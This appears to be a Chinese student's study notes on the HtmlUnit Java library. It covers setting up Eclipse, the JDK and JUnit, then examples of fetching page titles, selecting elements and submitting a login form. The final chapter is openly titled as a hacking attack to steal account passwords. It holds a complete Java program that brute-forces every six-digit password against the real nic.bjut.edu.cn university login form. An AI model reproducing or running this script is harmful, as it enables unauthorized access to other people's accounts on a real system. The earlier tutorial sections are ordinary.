htmlunit学习笔记
author 邵励治
第一章 我该怎么开始?
第一步,下载并安装eclipse
ecipse luna(2015.1.28时还是最新版)下载地址:
32位系统:
http://mirror.bit.edu.cn/eclipse/technology/epp/downloads/release/luna/SR1a/eclipse-java-luna-SR1a-win32.zip
64位系统
http://mirror.bit.edu.cn/eclipse/technology/epp/downloads/release/luna/SR1a/eclipse-java-luna-SR1a-win32-x86_64.zip
第二步,下载并安装jdk(也就是java开发环境java se development kit)
JAVA8:32位:
http://download.oracle.com/otn-pub/java/jdk/8u31-b13/jdk-8u31-windows-i586.exe
JAVA8:64位
http://download.oracle.com/otn-pub/java/jdk/8u31-b13/jdk-8u31-windows-x64.exe
注意,安装时会有两个部分,第一部分是jdk(java开发环境)安装,第二部分是jre(java运行环境)安装,两个都应该安装在同一个叫JAVA的文件夹内!!
第二点五步,设置环境变量;
G:\Java\jdk1.7.0_51\bin;把这个放在第一个,别忘了把G盘改了。
第三步,下载htmlunit
见官网。
第四步,下载junit
见官网。
第四点五步,学习java入门。(网易云课堂有一个特好的叫《零基础学习JAVA语言系列课程)
第五步,打开eclipse将htmlunit和junit中的jar包导入工程(htmelunit的jar包都在bin文件夹里)
1‘在workspace中点中你要加入包的工程;2’工具栏project——Properties;3‘选中左侧栏里的Java Build Path,然后选择Libraries选项卡;4’点击右侧的‘Add External Jars’,选择你导入的包,打开,OK就可以了。
第六步:学习示例。
示例1:获取javaeye网站的title
import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException;import com.gargoylesoftware.htmlunit.WebClient;import
com.gargoylesoftware.htmlunit.html.HtmlPage;
public static void getHomeTile() throws FailingHttpStatusCodeException, MalformedURLException, IOException{ final WebClient webClient = new WebClient();//初始化一个浏览器 final HtmlPage htmlPage = webClient.getPage("http://www.javaeye.com"); System.out.println(htmlPage.getTitleText()); System.out.println(htmlPage.getTextContent()); }
(注1: final数据许多程序设计语言都有自己的办法告诉编译器某个数据是“常数”。常数主要应用于下述两个方面:(1) 编译期常数,它永远不会改变(2) 在运行期初始化的一个值,我们不希望它发生变化
对于编译期的常数,编译器(程序)可将常数值“封装”到需要的计算过程里。也就是说,计算可在编译期间提前执行,从而节省运行时的一些开销。在Java中,这些形式的常数必须属于基本数据类型(Primitives),而且要用final关键字进行表达。在对这样的一个常数进行定义的时候,必须给出一个值。)
逐条解释:
1.com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException;
这个是eclipse在解决 final HtmlPage htmlPage = webClient.getPage("http://www.javaeye.com");这行代码出的错误时,选用add throws declaration选项时添加的。
2. com.gargoylesoftware.htmlunit.WebClient;用途:1.模拟一个WEB浏览器。(this class simulates a web browser.)
2.用getPage(String)或getPage(URL)方法去加载请求网站的第一页,并且会进一步的根据这个页面的类型继续处理。
举例:
(1)示例代码
final WebClient webClient = new WebClient();final HtmlPage
startPage =webClient.getPage("http://htmlunit.sf.net");assertEquals("HtmlUnit - Welcome toHtmlUnit", startPage.
getTitleText());
(2)注意:assertEquals这个函数是junit的包。
可以做集群导入:importstatic org.junit.Assert.*;
含义是:
函数原型1:assertEquals([Stringmessage],expected,actual) 参数说明: message是个可选的消息,假如提供,将会在发生错误时报告这个消息。 expected是期望值,通常都是用户指定的内容。 actual是被测试的代码返回的实际值。
例:assertEquals("equals","1","1");
函数原型2:assertEquals([Stringmessage],expected,actual,tolerance) 参数说明: message是个可选的消息,假如提供,将会在发生错误时报告这个消息。 expected是期望值,通常都是用户指定的内容。 actual是被测试的代码返回的实际值。 tolerance是误差参数,参加比较的两个浮点数在这个误差之内则会被认为是相 等的。
例:assertEquals ("yes",5.8,11.0/2.0,0.5);
3. com.gargoylesoftware.htmlunit.html.HtmlPage;
用途:
这个类提供了各种各样的方法去接收页面的内容:
例如:
getForms();
getAnchors();
getElementById(String);
以及非常强大的继承方法:
例如:
DomNode.getByXPath(String)
DomNode.geFirstByXPath(String)
子元素允许用户交互为此提供方法
例如:
HtmlElement.click()
HtmlElement.type(String)
HtmlOption.setSelected(boolean)
HtmlPage不能直接实例化。当服务器的响应内容为text/html(或是其他变种)时,
他们应该由WebClient.getPage(String)返回,
例如:
finalHtmlPage page = webClient.getpage("http://mywebsite/some/page.html");
4. final WebClient webClient = new WebClient();
构造函数解释:
1. public WebClient() :用BrowserVersion.getDefault()
函数返回的浏览器版本创建一个web客户端实例;(注3:
BrowserVersion.getDefault().当一个特定版本没有被指定时,返回一个被使用的默认浏览器版本,默认是IE8)
2. public WebClient(BrowserVersion
browserVersion):用指定的浏览器版本创建一个web客户端;
3. public WebClient(BrowserVersion
browserVersion,String proxyHost, int proxyPort):用特殊浏览器版本和代理服务器系统传建一个实例
这里显然是第一种情况,也就是我创建了一个IE10的浏览器实例;(我的默认浏览器是IE10)
5.final HtmlPage htmlPage = webClient.getPage("http://www.javaeye.com");
什么是webClient.getPage(Stringurl)?
他可以返回一个新的页面(里面有页面的各种属性)
6.htmlPage.getTitleText()
返回这个页面的标题(title),或者一串空字符串(当没有标题的时候)。
7. htmlPage.getTextContent()
我并没有查到这个函数是什么意思….
示例2:
获取一个特定的浏览器版本public void homePage_Firefox() throws Exception { final WebClient webClient = new WebClient(BrowserVersion.FIREFOX_2); final HtmlPage page = webClient.getPage("http://htmlunit.sourceforge.net"); assertEquals("HtmlUnit - Welcome to HtmlUnit", page.getTitleText());
}
完整代码:
import java.io.IOException;
import java.net.MalformedURLException;
import com.gargoylesoftware.htmlunit.BrowserVersion;
import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException;
import com.gargoylesoftware.htmlunit.WebClient;
import com.gargoylesoftware.htmlunit.html.HtmlPage;
import staticorg.junit.Assert.*;
public classTest3 {
public static void main(String[] args) throwsFailingHttpStatusCodeException, MalformedURLException, IOException {
final WebClient webClient = new WebClient(BrowserVersion.INTERNET_EXPLORER_11);
final HtmlPage page = webClient.getPage("http://htmlunit.sourceforge.net");
assertEquals("HtmlUnit - Welcome to HtmlUnit", page.getTitleText());
}
}
这个例子只有一个需要解释的,就是
assertEquals("HtmlUnit - Welcome to HtmlUnit", page.getTitleText());
当前面的内容与该页面标题内容相同时,不会打印任何东西;
当前面的内容与该页面标题内容不同时,会打印
Exception in thread "main"org.junit.ComparisonFailure: expected:but was:
atorg.junit.Assert.assertEquals(Assert.java:123)
atorg.junit.Assert.assertEquals(Assert.java:145)
atorg.BruteForce.test.Test3.main(Test3.java:18)
逐条解释:import java.io.IOException;
importjava.net.MalformedURLException;
这两个是添加了throws语句后加上的,应该是识别异常用的包(我猜的)
import com.gargoylesoftware.htmlunit.BrowserVersion;
这个类的对象代表一个特定版本的浏览器。预定义常量提供了常见的浏览器版本。
示例3:
获取特定
ID的DIV或者锚链接
public void getElements() throws Exception { final WebClient webClient = new WebClient(); final HtmlPage page = webClient.getPage("http://some_url"); final HtmlDivision div = page.getHtmlElementById("some_div_id"); final HtmlAnchor anchor = page.getAnchorByName("anchor_name");
}
完整代码:
package org.BruteForce.test;
import java.io.IOException;
import java.net.MalformedURLException;
import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException;
import com.gargoylesoftware.htmlunit.WebClient;
import com.gargoylesoftware.htmlunit.html.HtmlAnchor;
import
com.gargoylesoftware.htmlunit.html.HtmlDivision;
import com.gargoylesoftware.htmlunit.html.HtmlPage;
public classTest4 {
public static void main(String[] args) throwsFailingHttpStatusCodeException, MalformedURLException, IOException {
final WebClient webClient = new WebClient();
final HtmlPage page = webClient.getPage("http://some_url");
final HtmlDivision div =
page
.getHtmlElementById("some_div_id");
final HtmlAnchor anchor =
page.getAnchorByName("anchor_name");
}
}
逐条解释:importcom.gargoylesoftware.htmlunit.html.HtmlDivision;
page.getHtmlElementById("some_div_id");
返回元素指定ID。如果不止一个元素这个ID,那么这个方法返回第一个。
page.getAnchorByName("anchor_name");
返回HtmlAnchor指定名称。
示例4:
模拟页面提交一个nic.bjut.edu.cn账户和密码
1.创建浏览器:
final WebClient webClient = new WebClient();
2.关闭JAVA script:
由于nic上有js,htmlunit对js支持又不是很好,所以关掉它!
webClient.getOptions().setJavaScriptEnabled(false);
3.模拟访问nic.bjut.edu.cn:
final HtmlPage page1 =webClient.getPage("http://nic.bjut.edu.cn");
4.获取form:
由于nic首页上的那堆东西都是储存在form里的,所以要获取form。
final HtmlForm form = page1.getFormByName("form1");
5.获取用户名输入栏
先要输入用户名,先要获取用户名输入栏(这个函数是根据该栏的name获取的,name 可以从网页源代码中获取)
final HtmlTextInput name = form.getInputByName("DDDDD");
6.获取密码输入栏
同上,只不过函数改了一下
final HtmlPasswordInput password = form.getInputByName("upass");
7.获取提交按钮
输入完用户名和密码之后,还需点击提交,于是我们获取提交按钮:
final HtmlSubmitInput button= form.getInputByName("0MKKey");
8.输入用户名和密码
name.setValueAttribute("u13072117");//输入用户名为u13072117
password.setValueAttribute("222222");//输入密码为222222
9.提交
获取完成后,我们模拟点击,并且将新的页面储存在另一个HtmlPage类中
final HtmlPage page2 =button.click();
10.验证
完成了实验,应该验证一下对不对,我认为最好的方法是比较源代码。
于是,我们打印page2的源代码,再比较自己手动操作的源代码,就可以验证我们确实是 用java语言模拟了整个过程!!
System.out.println(page2.getWebResponse().getContentAsString());
最后一章 我自己的程序
黑客攻击第一弹:穷举法盗取nic账号密码
package org.nicpojie.test;
import java.io.IOException;
import java.net.MalformedURLException;
import com.gargoylesoftware.htmlunit.FailingHttpStatusCodeException;
import com.gargoylesoftware.htmlunit.WebClient;
import com.gargoylesoftware.htmlunit.html.HtmlForm;
import com.gargoylesoftware.htmlunit.html.HtmlPage;
import com.gargoylesoftware.htmlunit.html.HtmlPasswordInput;
import com.gargoylesoftware.htmlunit.html.HtmlSubmitInput;
import com.gargoylesoftware.htmlunit.html.HtmlTextInput;
public class Attack_update {
public static void main(String[] args) throws FailingHttpStatusCodeException, MalformedURLException, IOException {
//1.创建浏览器
final WebClient webClient = new WebClient();
//2.关闭JAVA script:
webClient.getOptions().setJavaScriptEnabled(false);
String nm="name";
String pw;
for(int i=0;i<=999999;i++){
//3.模拟访问nic.bjut.edu.cn
HtmlPage page1 = webClient.getPage("http://nic.bjut.edu.cn");
//4.获取form:
HtmlForm form = page1.getFormByName("form1");
//5.获取用户名输入栏
HtmlTextInput name = form.getInputByName("DDDDD");
//6.finalHtmlTextInput name = form.getInputByName("DDDDD");
HtmlPasswordInput password = form.getInputByName("upass");
//7.获取提交按钮
HtmlSubmitInput button = form.getInputByName("0MKKey");
//密码转换
pw=String.format("%1$06d",i);
//8.输入用户名和密码
name.setValueAttribute(nm);//输入用户名为lname
password.setValueAttribute(pw);//输入密码为lpassword
//9.提交
HtmlPage page2 = button.click();
//10.验证
System.out.println(nm);
System.out.println(pw);
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
// TODOAuto-generated catch block
e.printStackTrace();
}//括号里面的1000代表1000毫秒,也就是1秒,可以该成你需要的时间
}
}
}